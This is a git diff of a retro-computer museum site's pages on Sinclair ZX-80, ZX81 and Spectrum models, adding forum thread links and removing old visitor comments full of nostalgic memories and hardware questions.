http://www.q40.de/q40.dedownload.html - - This versions have been called "Q40", "Q60" and "Q80", and have also a nick "The Super QL''s" - - Greetings from Spain. - - author: Ian Gillman (UK) - date: Tuesday 8th March 2005 - text: I used a Sinclair QL at university in 1994. I needed a cheap computer that I could use to type up my final year project and Dr Buist sold me a QL for £50. The QL he sold me had an external floppy drive that could read and write PC disks. Once I had typed up the project I could transfer it to a PC for formatting and final printing. I even taught myself 68K assembly language so that I could play with the internals of the machine. There was one chip (I think it was the I/O chip) that used nybbles (half of a byte) to communicate. oc_id: 199 source: url: https://web.archive.org/web/20230609174746/http://www.old-computers.com/museum/computer.asp?c=199 diff --git a/content/museum/sinclair-zx-80.md b/content/museum/sinclair-zx-80.md index d27d64fe..6eabf09e 100644 --- a/content/museum/sinclair-zx-80.md +++ b/content/museum/sinclair-zx-80.md @@ -69,6 +69,7 @@ params: - emulators - links - docs + forum_thread: 272 photos: - title: ZX-80 subtitle: '' @@ -347,53 +348,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: steve - date: Tuesday 18th October 2022 - text: You can run the same Basic programs in ZX81 and Spectrum but ... there will be slower! ZX80 Basic was faster and not only because of the FAST mode, but also because of integer variables and less tokens! $) - - author: Nick Blackburn (Isle of Man, UK) - date: Monday 11th October 2021 - text: David W. from Ithaca - best to keep your mouth shut and let others believe you are an idiot, than open it and confirm their assumptions. Sir Clive was a visionary, way ahead of his time and only stymied by the technology and attitudes available in the early eighties. - - author: Wim Holland (Netherlands) - date: Tuesday 6th December 2011 - text: |- - I bought a new ZX81 in 1983 and it started my interest in computing. Sir Sinclair was the man who gave a lot of people the possiblilty of using and learning a computer.\ - I still own the ZX81, the ZX Spectrum and the Sinclair QL and they are still in working condition ! - - author: rj (ulster uk) - date: Tuesday 22nd November 2011 - text: |- - http://www.youtube.com/watch?v$EmwW_6kUdHw - - please post this link to youtube\ - hope yu can find your way to the real great sam sites on the net - - author: Jim Schifalacqua (Virginia, USA) - date: Wednesday 6th July 2011 - text: I bought the ZX-80 from an advertisement in Popular Science. It was great for writing/testing BASIC programs. You could then hear the processor chunk through the code by the loud interference that came through the TV speaker! - - author: David W. (Ithaca, NY) - date: Thursday 1st November 2007 - text: |- - I completely fail to understand the adoration of Sinclair. I read a detailed history of his business, and even though it was actively skewed in his favor I can't see him as anything other than a low-rent shyster. - - The ZX80 is a good example - the adverts claim that it's the "most powerful personal computer ever produced". This is, of course, utter and complete bollocks. Even assuming it had a Z80a in it as claimed (which I don't believe it really did), at the time it was released it was up against the 68000 and the 8086. And it was, if I recall correctly from my ZX81, abysmally slow even by Z80 standard - almost remarkably so. This, though, is not surprising from a man who sold things he knew were broken, usually had a 30% failure rate, specified things so tightly that his audio equipment usually had a lifetime of 8 to 12 hours, and even dug up rejected ICs from TI's driveway and used them in his products! To describe him as anything other than a criminal is charitable. That he was knighted based on success in selling equipment that doesn't work based on lies is truly amazing - and it would be nice if sites like this didn't gloss over the truth behind a con-man. - - author: Adrian McMenamin (UK) - date: Monday 24th September 2007 - text: Actually, it was possible to get a ZX80 to run in "slow" mode if you installed your own interrupt handler. Z80 machine code for that was widely published. - - author: Marcus Misiukiewicz (Luxembourg) - date: Wednesday 2nd May 2007 - text: |- - I originally bought a ZX-80 in bare component form. It took around 3 hours to put together - soldering in the components and sockets, plugging in the IC chips. - - It worked first time. - - I later upgraded it with the ZX-81 ROM, there was also a new keyboard overlay provided. - - To my knowledge it is still operational, as it is in storage. - - author: Rasher (USA) - date: Friday 19th May 2006 - text: I remember one sunday spending about 6 hours writing code on my trusty ZX80 only to experience a power-cut before I had saved anything. (onto magnetic tape I might add!) That was a valuable lesson which stands me in good stead to this very day! BACKUP YOUR VALUABLE FILES! - - author: Andy Heath (Sheffield) - date: Wednesday 15th January 2003 - text: I was sure that the ZX80 I had when I was younger used the language FORTH and not BASIC! Perhaps I am confusing it with the Jupiter Ace which I also had. I never really used them though so cant be sure. I bought both computers around 1984-85 with the intention of collecting old computers. I think I paid a couple of pounds for each. Unfortunately I allowed my mother to throw them out a few years later with all the other junk from the attic! If only I still had them. \*sigh\* related: - /museum/czerweny-cz-1000 - /museum/czerweny-cz-1000-plus diff --git a/content/museum/sinclair-zx-81.md b/content/museum/sinclair-zx-81.md index 49400832..3b33a22a 100644 --- a/content/museum/sinclair-zx-81.md +++ b/content/museum/sinclair-zx-81.md @@ -62,6 +62,7 @@ params: - emulators - links - docs + forum_thread: 273 photos: - title: LEFT SIDE subtitle: '' @@ -530,171 +531,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Ean Bowman (Earth) - date: Tuesday 16th January 2007 - text: |- - This was my very first personal computer. I still remember when my father brought this home, I was about three!!! - - Most people don't seem to keep powerful memories this early in life but I guess I do. - - This thing was truly archaic but sleek and tiny at the same time. It used cassette tapes like many systems of it's day. It hooked up to the black and white Candle television, the first TV my family ever had. - - Wrath of Khan is another first memory that stuck pretty vivdly with the bugs... the bugs! - - Anyway, I digress... - - I remember my father making some kind of alternate connection for the video. - - Only a year or two after buying this system my father found something better for his job, which required better graphing capabilities and printing. He eventually bought a COCO 2, the Disk Drive and DMP-100 dot matrix printer. - - The Sinclair became a toy for us, although I was fascinated by the colours of the new computer and quickly ditched this little thing. - - The most I ever did on it was create simple text-based BASIC programs once I was a little older. - - author: Numanoid (Norway) - date: Wednesday 8th September 2021 - text: What I think has been lost in hindsight, is that the ZX81 at the time was a powerful calculator at a very friendly price. To think of ZX81 in relation to games I think is missing the point. At the price 1K was a lot compared to contemporary calculators, and a user was not locked to a tiny calculator display, but could draw full graphs on a TV screen - - author: Timothy Heider (Portland Oregon USA) - date: Monday 1st August 2016 - text: I bought this mail order as a kit and built it as a teenager in 1983. You had to solder the parts onto the board. Seeing it work after the painstaking assembly process was pure joy. I will never forgot that. I learned Z80 assembly on this which was like magic after doing a lot of 6502 on the Apple II. It also had a nice BASIC interpreter and the graphics mode was fun. - - author: Régis Schmidt (France) - date: Monday 1st August 2016 - text: It was my first home computer, bought in 1982. I bougth a kit version. Not really easy to use, especially for saving programs on mini-K7 devices. - - author: David Tattersall (France) - date: Thursday 7th April 2016 - text: At the time I was going to build my own computer, but it would have cost more in bits than the ZX81! I did a lot of programming on it including using assembler language. I added 16K memory and I/O port for controlling external devices. I went on to the BBC B. - - author: GIl (Canada) - date: Monday 28th September 2015 - text: |- - That was the first and only one at our secondary school in France in the 80s. We (2 of us) could program basic games and a calculator of distance Earth/Sun on that machine!\ - The tape recorder was a life saver. I guess that was the machine that gave me the thirst to learn more about PCs.\ - That was a great machine. - - author: David (Scotland) - date: Friday 19th December 2014 - text: We bought one of these in kit form, where we had to build it ourself. - - author: Nathan (Australia) - date: Friday 24th January 2014 - text: My first introduction to computers was this little machine when I was about 5 years old. I loved being able to type-in all the BASIC game programs on the membrane keyboard, until I eventually wore the keyboard out. Also played some great little 1K games on cassette, although the load errors were fairly common! Eventually we got a 16K expansion cartridge, but sure enough, between the cartridge wobble and the difficulty of getting a good load and save from the cassette mean that lots of typing was often lost! - - author: Chuck (Vermont USA) - date: Thursday 6th September 2012 - text: |- - The ZX 81 was the first computer that I ever actually owned. I bought it with money received as gifts upon graduation. I even had enough to by the 16k RAM expansion. I was really quite familiar with computers at the time as I had studied them extensively in a high school vocational program (although we used DEC PDP-8''s in that program.\ - I wrote extensive programs for the ZX 81 and of course experienced the ''memory module shift'' that crashed the computer losing everything not previously saved. It taught me to save often! - - author: Andy (England) - date: Sunday 1st July 2012 - text: I bought a ZX81 in 1981 and was astonished by the feeling of power that being able to programme in BASIC gave me. Sure it was slow with almost non-existent graphics, but it gave me the urge to learn more. I wrote several very simple games and utilities on it before moving up to the BBC-B, and what a machine that was! Great memories. - - author: lodger (Germany) - date: Saturday 20th August 2011 - text: |- - In 1985, we had a VIC-20 "for the whole family" at home with scheduled acces times, when a neighbour of ours bought himself a very expensive PC system. Since he knew I was interested in computers he gave me his old ZX81 along with a book that contained 100 1K game listings (My own computer! That day, I was the luckiest kid in town). - - Today, I have a functional ZX81 and 32K Mempack setup, along with the usual dictaphone and b/w screen that I showed on a retro expo a few years ago. There were to 18-year-olds, to who I showed the machine and one of the 1K games I prepared for the expo. They enjoyed playing (it was a simple racing game). When I told them the specs of the ZX81 (without the mempack) they couldn''t believe it. They were very impressed by the fact that even a very simple machine can be so much fun to use. The ZX81 is one true 8 bit legend. - - author: Mark Cardy - date: Monday 25th April 2011 - text: The ZX81 was my first computer, Christmas 1982. I was realy hooked. But it was a bit slow, bad graphics, no sound,etc. But I loved it, and belive it or not, but our school only had one computer (i think it was something like a ZEON1 ?). So using my ZX81, I did, and passed City$Guilds Computer Programing Exam. i wish i had of picked the ZX Spectrum, - - author: Shadow (USA) - date: Friday 8th April 2011 - text: |- - I got one of these new and it is still part of my collection (along with it''s aftermarket keyboard with REAL keys), I never had a dedicated tape deck for it, but I was one of the few kids on my block with a printer for it. Thermal, I love thermal printers, like going to the store and getting a receipt :-) - - My parents used to do the taxes and the budget on it, all I ever did was play games. - - author: Kevin (Scotland) - date: Wednesday 19th January 2011 - text: Got my ZX81 as a hand-me-down in the family when my cousins upgraded to a Spectrum....will always remember the anticipation of watching the black and white stripes flashing across the screen during loading - hoping that you would get a game at the end of it.....and got either a whiteout or a screen full of dodgy glitchart because you got the volume setting wrong. Don''t get me started on the rampack - several times I was just about to beat my highscore on a game when it disconnected itself and I lost the lot! - - author: John (Canada) - date: Monday 4th October 2010 - text: This was also my first computer. Had lots of fun programming this thing and the first time I had programmed in machine code. Got fried during an electrical storm but it was fun while it lasted. - - author: Chris (Greece) - date: Tuesday 31st August 2010 - text: |- - My first computer too!!\ - then i got zx spectrum\ - then atari stfm\ - and final, it comes the PC :( - - author: PENFOLD (Whittier CA USA Terra Sol System) - date: Monday 30th August 2010 - text: |- - I had this one as my first computer. No On/OFF switch, you just unplugged it.\ - I learned BASIC from the ZX-81 which almost ruined me. When I took BASIC in college it was right in the middle of the GOTO Considered Harmful era as well as the ZX-81 manual taught me Spaghetti Code!\ - A friend killed my ZX-81 by unplugging the 16K expansion module while the computer was still on.\ - I took advantage of a trade-in offer when I bought my Radio Shack Model 100 - - author: Kenn (Denmark) - date: Tuesday 13rd July 2010 - text: My first computer!!!, and i have i still. After that i got the Spectrum, uhhh i miss the days with them, I was younger, and life simpler.... - - author: Scott (Upland, CA, USA) - date: Tuesday 26th August 2008 - text: My very first computer. I still have the popular mechanics ad from when I filled out the order to receive the kit in the mail. I built it in one evening and haven''t stopped building PC''s since!! Later on I added a full keyboard and an in-line VU meter to get a balanced load from my cassette deck. I also created an analog to digital adapter that bypassed the modulator so I could get crystal clear resolution on a green-screen magnavox monitor. Boy I had fun. I still have the original shell and save it just for memories sake. - - author: Anadin96 - date: Monday 11th August 2008 - text: |- - This was the first computer I ever owned. The very best thing about it was the user manual, which explained absolutely everything you could possibly need to know, from a full B.A.S.I.C. tutorual right down to all the internal configuration paramaters, and even had an intro to machine code programming. I've been a professional programmer ever since. - - Thanks Sir Clive - - author: David (Dallas, TX) - date: Sunday 30th December 2007 - text: The year 1981. $149 brings me my first computer that is mine. I had taking a programing school in high school and I wanted to do that for a profression, but I never had my own computer. I was 17, and my mother was saying...you will get sick of the damn things when you get into college...The get sick of them never happened. I just got deeper into them. With this one I put a external keyboard on it. I added first 16k and then 32k extra memory. I wrote missile command in basic. That impressed a software company puting out games for this computer. But they wanted games in machine langauge. And educational games at that. So off I went in that direction. I even tried to add high res graphics to the computer. That is where things started to break down. The graphics module would not work. It would show the higher res screen for a split second then it was gone. I called them. Well, a bigger power supply was what I needed. So off I went to get one fo those. I got one...but I had to wire - it up. That is where things went bad. I read the diagram 3 times. I wired it up. I plugged it in...bam...crack pop and smoke...the component where the 9 volt dc comes into the computer and is converted to 5 volts dc was fried. Like burned up. I had crossed things up and shot 110 AC into that component. I only did that once. I never tried to wire up another power supply for one of these. I swapped mine for a TS1000 which was basically the same machine. The machine was funny because it would crash about once a day because it got too hot. But it was fun to learn z80 assembly on. It is strange to look back and realize who much trouble I put up with just to do some programming. But it was great fun. - - author: Christian (Cumbria, UK) - date: Thursday 5th April 2007 - text: Funny,I never had a problem saving / loading from tape either on the zx81 or the spectrum!!!! The c2n on the C64 on the other hand...................... - - author: Kealan (UK) - date: Sunday 25th February 2007 - text: Man I used to type for days on this thing out of the mags to get a crap fishing prog or something like that, it used to white out on me after days of copying, I couldnt save as the cassette never worked, but as a 10yr old this was the best thing since sliced bread, I cant wait til they rerelease it :) - - author: paul williams (canada) - date: Tuesday 20th February 2007 - text: |- - just found a sinclaire zx spectrum in the garbage along with a horizons softwre pack (cassette). No power supply, but thanks to this site I know what to look for. Will this machine work with a Radioshack cassette player (for the TRS-80)?\ - Also if anyone knows of software to store the data from cassette to PC that would be great. - - author: de sagazan (France) - date: Sunday 26th March 2006 - text: |- - je posséde une cate d'extension 8 ES (8 binaries in /out) pour ZX 81, en emballage d'origine.\ - Si cela vous interesse je puis vous en faire cadeau (for gift). - - author: Veg (UK) - date: Monday 13rd June 2005 - text: |- - An inventive Sinclair magazine (possibly Sinclair Programs) noticed that rapid switching between FAST and SLOW modes generated "musical tones" out of the white noise that was heard when you turned up the volume on the TV.\ - The "note" could be altered by switching at different rates. They published a BASIC program that mapped keys to notes, thus creating a "sinclair organ". Amazingly, this didn't affect the Bontempi sales at the time. - - author: Ivan Rozanoff (Rusia) - date: Sunday 5th June 2005 - text: |- - Hello!(In Russia I will say "goîd morningnow" now, but I don\`t know what time is in New York).\ - I have read a very intersting russian book about computers. The book was printed in 1989. And here is somting interesting about Sinklair ZX81.\ - 1)On the back side Sinclair has a port for memory or other cartrijes. They (cartridjes) has got at the back side a port to. So you can take with this computer a lot of cartrijes.\ - 2)On the motherboard there were 4 chips. One of them was a special controling chip, built on Ferranti fyrm. Nobody know, what Ferranti fyrm makes a lot of details for english war airplanes and helicopters (Harrier, for exsample).\ - Sorry for a such long letter.\ - Sertanly your,Ivan. - - author: Chris Rutherford (UK) - date: Thursday 24th March 2005 - text: I paid £9 for my ZX81, and that was with a 16K ram pack! - - author: Gary (UK) - date: Wednesday 26th January 2005 - text: The ZX81 had a memory expansion slot on the rear corner - it was basically an extension of the printed circuit board. Memory expansion modules plugged-in using ordinary PCB edge-connectors that were notoriously unreliable. Users often experienced unexpected reboots and lost everythng they had been typing in, thanks to small movements of the expansion unit relative to the base unit. - - author: Tom (Switzerland) - date: Monday 28th June 2004 - text: Here is a Forum for all ZX81 friends with many useful informations. Have Fun! - - author: george (canada) - date: Sunday 21st September 2003 - text: |- - Dad built one of the kits, I remember 'typing' in programs on that bad 'keyboard' - - It was out first computer and i remember the excitement as if it were yesterday. - - author: Al (Canada) - date: Thursday 7th March 2002 - text: |- - My 1st computer. Built from a kit. Upgraded my RAM with 2 piggyback memory cards (had to duct tape them on or they kept falling off). I remember the hassle of searching for my programs by sound, on the cassette tape storage. My power supply box was larger than the computer! And I still have everything in working condition including a large stack of books and magazines about the ZX81. The first time I plugged it in after building the kit, I was in awe of the flashing cursor on my TV.\ - Great memories! - - author: Tom (USA) - date: Sunday 3rd March 2002 - text: I remember that adverts for this computer at the time proudly proclaimed that if you were to spill anything on the keyboard, you can just wipe it off! - - author: Robert Kelly (World) - date: Thursday 31st January 2002 - text: |- - The ZX81 was rumored to have handled (part or whole) a mission at NASA, the rumore also went on to state that the ZX81 had the fastest number crunching ability at the time, weather or not this is true is hard to tell. - - Also this machine was available with 4KB ram (kit form). - - This was also my first venture into real computers (aged 11), given to me by an uncle, 4Kb Kit form in 1981 related: - /museum/czerweny-cz-1000 - /museum/czerweny-cz-1000-plus diff --git a/content/museum/sinclair-zx-spectrum-128.md b/content/museum/sinclair-zx-spectrum-128.md index 59adec3b..28408bee 100644 --- a/content/museum/sinclair-zx-spectrum-128.md +++ b/content/museum/sinclair-zx-spectrum-128.md @@ -61,6 +61,7 @@ params: - emulators - links - docs + forum_thread: 54 photos: - title: ZX SPECTRUM 128 subtitle: '' @@ -578,48 +579,6 @@ params:  type of document : HTML\  source : [The Lil Old Sinclair Computer Technical Information Repository](http://members.lycos.co.uk/eightbitula/) - comments: - - author: john (Australia) - date: Tuesday 30th October 2018 - text: |- - Spectrum 128 was designed in the UK but first made in Spain by Investronica. Sinclair didn''t sell it in the UK until 1986 because of an agreement with Lasky''s to shift all the remaining rubber and plus models first. However you could get Spanish 128s (which included a external numeric keypad) at all the major retailers in the UK from about August 1985. They cost about 200 quid - about the same as a Commodore 64 at the time. - - The 128 is a 48K system, the 80Kb above ramtop could be used as a ramdrive in BASIC, or swapped in 16K at a time in MC. - - author: Clumsy Colin (United Kingdom) - date: Tuesday 5th August 2014 - text: Roger Jowett, what have you been smoking? - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - https://www.youtube.com/watch?v$zsjTpFR0oYQ - - please can anyone help lcd add hmpr bit 5$6 mode 3 interlaced with intra frame compression think gassman and naxtcross might be the only ones with a clue - - author: Krzysztof Wojdon - date: Monday 11th April 2011 - text: Spectrum 128K memory was not organized in two blocks. It was top 16K of the regular addressable 64K that was used to switch into additional 64K of memory. - - author: Chris - date: Sunday 20th March 2011 - text: |- - Robert Holliday posted a quest for spectrum FPGA. Have you seen this? - - http://mikestirling.co.uk/2010/11/zx-spectrum-on-altera-de1-source-code/ - - Regards\ - Chris - - author: Robert Holliday - date: Tuesday 1st February 2011 - text: |- - Does anyone know of a single chip spectrum (ON FPGA) like the Altera DE0 board ?? or has anyone made a new speccy running on the eZ80. The eZ80 runs 50 times faster than a 4MHz Z80A !!!!!! - - It would be a great project.... or even make a Sam Coupe running on an eZ80 !! - - author: Davey - date: Tuesday 1st February 2011 - text: |- - Hi. - - Does anyone know of a tape database for speccy software that I can download for free ?? I''m looking for audio files not digital ones, as I''m meaning to put the software onto floppy 3" disks !! - - If anyone knows please post a message !! related: - /museum/czerweny-cz-2000 - /museum/czerweny-spectrum diff --git a/content/museum/sinclair-zx-spectrum-2.md b/content/museum/sinclair-zx-spectrum-2.md index e1d9f85c..8ec2d122 100644 --- a/content/museum/sinclair-zx-spectrum-2.md +++ b/content/museum/sinclair-zx-spectrum-2.md @@ -74,6 +74,7 @@ params: - links - docs - videos + forum_thread: 231 photos: - title: 'SPECTRUM +2 #1' subtitle: '' @@ -641,74 +642,6 @@ params: - title: Spectrum +2 - Currys commercial url: http://video.google.com/googleplayer.swf?docId=-2908638663320112771&hl=fr text: 'Length: 35 s' - comments: - - author: micro:glitch - date: Monday 9th August 2021 - text: This was a nice computer with lots of character! - - author: miles (essex/uk) - date: Friday 7th August 2015 - text: I own a reasonably mint +2(grey) same as the one I owned back in 1986 I have all my old games plus many more I got cheaper in the 90''s and will continue to use it I got a lovely scart lead and a refurbed Quickshot 1 joystick plus the joystick converters for both ports(a must) I do have an SJS1 joystick but keeping that intact as they snap easily as most of you will remember. The built in cassette deck worked fine back then and does now, I haven''t had to twiddle the Azymuth screw as yet like I did back in the day but I think that was more down to recording methods rather than any fault of the tape head. I''m prepared to change the tape drive belt if it were to perish and snap there isn''t much to worry about as far as repairs go. These are solid machines considering the fun people made of companies like Amstrad same goes for Sinclair. As long as you use them as intended they last forever :) I couldn''t live without mine it''s like my childhood never left me - - author: God - date: Tuesday 3rd February 2015 - text: Selling a boxed black spectrum +2 at the moment on ebay, as well as a ZX81 :) http://pages.ebay.com/link/?nav$item.view$alt$web$id$321657454426 - - author: God - date: Tuesday 3rd February 2015 - text: Selling a boxed black spectrum +2 at the moment on ebay, as well as a ZX81 :) http://pages.ebay.com/link/?nav$item.view$alt$web$id$321657454426 - - author: Lelanna (Australia) - date: Sunday 21st September 2014 - text: |- - http://m.ebay.com.au/itm/171460578784?nav$SEARCH - - I currently have a listing on EBay for this computer and many games - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP - - author: John a Girdler. (Belfast, Northern Ireland.) - date: Sunday 17th February 2013 - text: |- - I have the Sinclair ZX Spectrum +2, it has a 128K, - - Still in it''s box, and for sale is therir any offers to buy it out there, - - Johnandanngirdler@hotmail.com Soon. - - John............. - - author: Miguel (Porto Portugal) - date: Saturday 21st July 2012 - text: |- - I''m not going to say anything but a little detail since everyone said and feels the same about this computer.\ - I had one too. What really intrigued me was this: I had a friend who had the +2 and I had the +2A and there was at least a difference besides the color and that +3 menu that it was the PLAY command with some keystrokes. He had that command in his +2 and I didn''t. I also had this book which I saw selling at ebay and some retro uk gaming site which came with it from where we could copy and try to run those little "programs"(?) and save them on tape. Oh but that play command...! Anyone used to code? (copy code too) Anyone remember that difference or used the command? Thanks in advance and keep on remembering old gold times spectrum gave us all! - - author: Marco G (Portugal) - date: Saturday 21st April 2012 - text: |- - I own a +2B and a +3. - - I remember the +2A cassette player buttons started breaking after some time. I remember using the screw driver - which was actually used for fine tuning - as a lever to activate the play button. - - I had countless ours of gaming with this baby. Counting out the cassette player, they where damn robust and made to last. - - I even made a cable to connect the RGB output to a TV scart input after looking at a diagram in some magazine. Guess what ... it worked. The TV transmitter wasn''t the best in hood. Best transmitter was in the Timex TC-2068. But, you just could get near my RGB to scart connection $) - - author: mentalist3d - date: Sunday 29th May 2011 - text: |- - That brought back memories, really enjoyed games such as Golden Axe, Bubble Bobble, etc. It was also a good introduction to programming at an early age, I remember spending weeks on end, programming in games from the manual and getting them to work. - - The worst part was when loading bigger games, you could spend up to 10 minutes going through the loading, and just before the game would finish loading it would crash and you would have to start from scratch. - - author: Sandro Zanello (Brasília - Brazil) - date: Tuesday 22nd June 2004 - text: Hi! I made a new ZX Spectrum Box in CorelDRAW format with real size! See the pics at the link above! - - author: joe (cardiff) - date: Saturday 8th March 2003 - text: ive just found my spectrum 128k +2 after not seeing it for about 10 years. the only problem is i can only get 1 game to load. does anyone know where i can get games from?? and out of curiosity ..... what is it worth??? - - author: Anders (Stockholm, Sweden) - date: Tuesday 5th February 2002 - text: Ah, I remember my old 128+2... the only thing I didn't really appreciate was the fact that it didn't have a tape counter. I remember an article in Sinclair User were they actually taught you have to make your own counter... Well it involved som pretty nasty surgery and my hands didn't really feel steady enough ;-) So I used an external cassette deck as a counter. related: - /museum/czerweny-cz-2000 - /museum/czerweny-spectrum diff --git a/content/museum/sinclair-zx-spectrum-3.md b/content/museum/sinclair-zx-spectrum-3.md index e7a85fd4..b76b0c50 100644 --- a/content/museum/sinclair-zx-spectrum-3.md +++ b/content/museum/sinclair-zx-spectrum-3.md @@ -72,6 +72,7 @@ params: - emulators - links - docs + forum_thread: 232 photos: - title: SPECTRUM +3 subtitle: '' @@ -690,26 +691,6 @@ params:  type of document : HTML\  source : [The Lil Old Sinclair Computer Technical Information Repository](http://members.lycos.co.uk/eightbitula/) - comments: - - author: Scott Vodrey (UK) - date: Monday 26th August 2013 - text: There was a test mode built into all Spectrum +3 computers and could be accessed by pressing the reset button and while the system is going through the motions, press and hold down the Q,A,Z,P,L and M keys together in 1 go. - - author: rj (ulster uk) - date: Tuesday 22nd November 2011 - text: |- - http://www.youtube.com/watch?v$EmwW_6kUdHw - - please post this link to youtube\ - hope yu can find your way to the real great sam sites on the net - - author: david yuill (glasgow uk) - date: Sunday 3rd July 2011 - text: hi this is for dave for disk based gamjes just press the enter key to go into loader and for tape go to 128k basic and type in load"" - - author: Marcus (England) - date: Friday 28th January 2011 - text: Look at worldofspectrum or spectrum world and you will able to download loads of documents and stuff !! - - author: dave (england) - date: Wednesday 9th February 2005 - text: hello ive recently bought my old +3 out of my loft to have a go but i was unable to load any games as ive forgotten what to type to use it? so if anyone still knows id be gratefull if they could tell me thankyou dave. related: - /museum/czerweny-cz-2000 - /museum/czerweny-spectrum diff --git a/content/museum/sinclair-zx-spectrum-480.md b/content/museum/sinclair-zx-spectrum-480.md index 9722f8a7..ca8d366f 100644 --- a/content/museum/sinclair-zx-spectrum-480.md +++ b/content/museum/sinclair-zx-spectrum-480.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 474 photos: - title: ZX SPECTRUM+ subtitle: '' @@ -558,50 +559,6 @@ params:  type of document : HTML\  source : [The Lil Old Sinclair Computer Technical Information Repository](http://members.lycos.co.uk/eightbitula/) - comments: - - author: Guest - date: Tuesday 12th December 2017 - text: |- - There is a Sinclair ZX Spectrum archive out there... - - http://www.worldofspectrum.org - - author: ZX User - date: Saturday 23rd September 2017 - text: |- - Hi nikigre, - - on https://www.worldofspectrum.org/ you also get several programs that are able to play .tap or .tzx files. - - There are also several apps for smartphones that can "play" .tap or .tzx. - - author: nikigre - date: Sunday 12th February 2017 - text: |- - Hello!\ - Does anyone know where I can get games and apps for this computer? Because on google a results are about emulated games and apps. But I need a copy of cassette sound.\ - Please help! Thank you! - - author: Colin (Leicester, England) - date: Thursday 1st December 2011 - text: Mauro, try www.retrospec.sgn.net - Not sure if they have "Antiriad" but it might help. Good luck - - author: Tomasz (Swinoujscie, Poland) - date: Thursday 2nd October 2003 - text: |- - It was my first computer back in the '85. It worked really cool. I don't know how just so many games were available on the pirate-market in a communist Poland. I used to have more than 500 games and other staff on my tapes (getting a good casette was really a great effort - tapes were under a regimentation and hard to get in Polish stores and they were low-quality like almost all in the communism)\ - It was really cool forwarding the tape to the right moment and then waiting for the game to load. Tape-loading-errors were the worst moments like a bluescreen's of death. I had a second copy of each game on a separate casette and the screwdriver to adjust a head of my casette player, but some of them were lost too. - - author: Kenneth Harper (Brittany, France) - date: Thursday 27th February 2003 - text: |- - Could someone help me with the following?\ - I want to start using my Spectrum+ again - it has a ZX Interface 1. Is it possible to connect a modern printer? If not, what kind of printer should I look for? Secondly, what peripherals can be used with this interface? - - author: mauro (chile) - date: Saturday 25th May 2002 - text: |- - any one knows where can i play on line olds games , i am searching "Antiriad\ - " - - author: Alejandro (Chile) - date: Saturday 9th March 2002 - text: |- - Anyone knows where yo find a new keyboard membrane??? Mine is broken.\ - I had look at http://www.sintech-shop.de/home/spectrum-products.htm but the store is in german, and the prices are a little high. related: - /museum/czerweny-cz-2000 - /museum/czerweny-spectrum diff --git a/content/museum/sinclair-zx-spectrum.md b/content/museum/sinclair-zx-spectrum.md index aa672ed6..53b49330 100644 --- a/content/museum/sinclair-zx-spectrum.md +++ b/content/museum/sinclair-zx-spectrum.md @@ -69,6 +69,7 @@ params: - links - docs - videos + forum_thread: 233 photos: - title: ZX SPECTRUM subtitle: '' @@ -724,191 +725,6 @@ params: - title: The Your Sinclair Rock'n'Roll years url: https://www.youtube.com/watch?v=VCuXC0UgKlc text: 'Length: 6 min 34 s' - comments: - - author: David (Australia) - date: Tuesday 10th August 2021 - text: I think the Spectrum really was the computer that sparked the revolution. The C64 was out of reach of most people, but almost anyone could afford a Spectrum. It had high ( 256x192 ) resolution graphics and enough memory to make some serious games. Because it was cheap enough, it drove the games market more than any other computer, and it''s only recently that the number of PC games has caught up with the number of Spectrum games. Back then, being a geek was very uncool, and programming computers was for nerds, and being a nerd meant being in the untouchable group socially. It''s amazing to see how much the world has moved on from there, and now everyone wants to think they are a geek. Working with the ZX Spectrum taught me to design Z80 based hardware, which got me my first job in a R$D factory designing computers to control video game payment systems. - - author: Riri (France) - date: Friday 27th November 2020 - text: Mon expérience sur ZX Spectrum https://riri-linventeur.wixsite.com/les-debrouillards/zx-spectrum - - author: mrfluffybrown (UK) - date: Wednesday 1st August 2018 - text: |- - Hi! I''ve stumbled across a couple of real beauties online, an Issue One 16K Spectrum which looks like its in a condition I''ve never seen as good as before. The same seller seems to have unearthed a couple of real gems in terms of collectability value, including original Sinclair literature which I''ve not come across before. Take a look , see wht you think : - - https://www.ebay.co.uk/itm/223084601634?ssPageName$STRK:MESELX:IT$\_trksid$p3984.m1558.l2649 - - https://www.ebay.co.uk/itm/223079077190 - - author: Ronald (Dresden) - date: Monday 11th December 2017 - text: |- - Hello - my first ZX Spectrum was a self-made which means, all of the functions of the ULA were substituted with logic chips from the 74-series. The first version didn''t have a coloured version, just black/white. Later, a piggy-back board was made. After reunification of Germany, I bought a used ZX Spectrum and added the following modules\ - \- Betadisc Interface, 2 Floppy Disk Drives attached\ - \- Printer Interface\ - \- Kempston Joystick Interface\ - To attach all these modules at once, I also had to make a bus extender with industrial connectors.\ - The power was supplied by an PC power module, so I had enough 5V / 12V / -12V . It was a quite funny system and I was surprised how you can easily program with that machine even all key have multiple meanings depends on situation and keys pressed. - - author: Nikigre (Slovenia) - date: Sunday 12th February 2017 - text: |- - Hello!\ - Does anyone know where I can get games and apps for this computer? Because on google a results are about emulated games and apps. But I need a copy of cassette sound.\ - Please help! Thank you! - - author: Martin - date: Friday 19th June 2015 - text: I had a spectrum +2 when I was a kid, however I bought a zx spectrum 48K last week off an auction site. I seem to be able to get better reliablity with loading using an old tape player on the 48k than I ever did on my +2. I''m impressed that even being over 30 years old it still works. - - author: Diego - date: Wednesday 18th March 2015 - text: nel caso fossero ancora disponibili mi interessa - - author: Edoardo (Cagliari) - date: Tuesday 3rd June 2014 - text: ciao Gianni sono interessato i gioiellini sono ancora disponibili? :) - - author: gianni (italia) - date: Saturday 24th May 2014 - text: |- - regalo a chi ne farà richiesta zx Spectrum 48 con alimentatore originale più zx Spectrum + con tasti rigidi ed in oltre varie cassette con programmi.\ - PS. spedizioni a carico destinatario. - - author: Duster (Russia) - date: Thursday 23rd January 2014 - text: My first computer was soviet-build clone of Spectrum 48K. I remember a lots of pirate audio-cassetes with cracked games from Poland (most popular string in loader was "Cracked by Bill Gilbert") 15-20 games on each. Whats a wonderful time! - - author: Mark 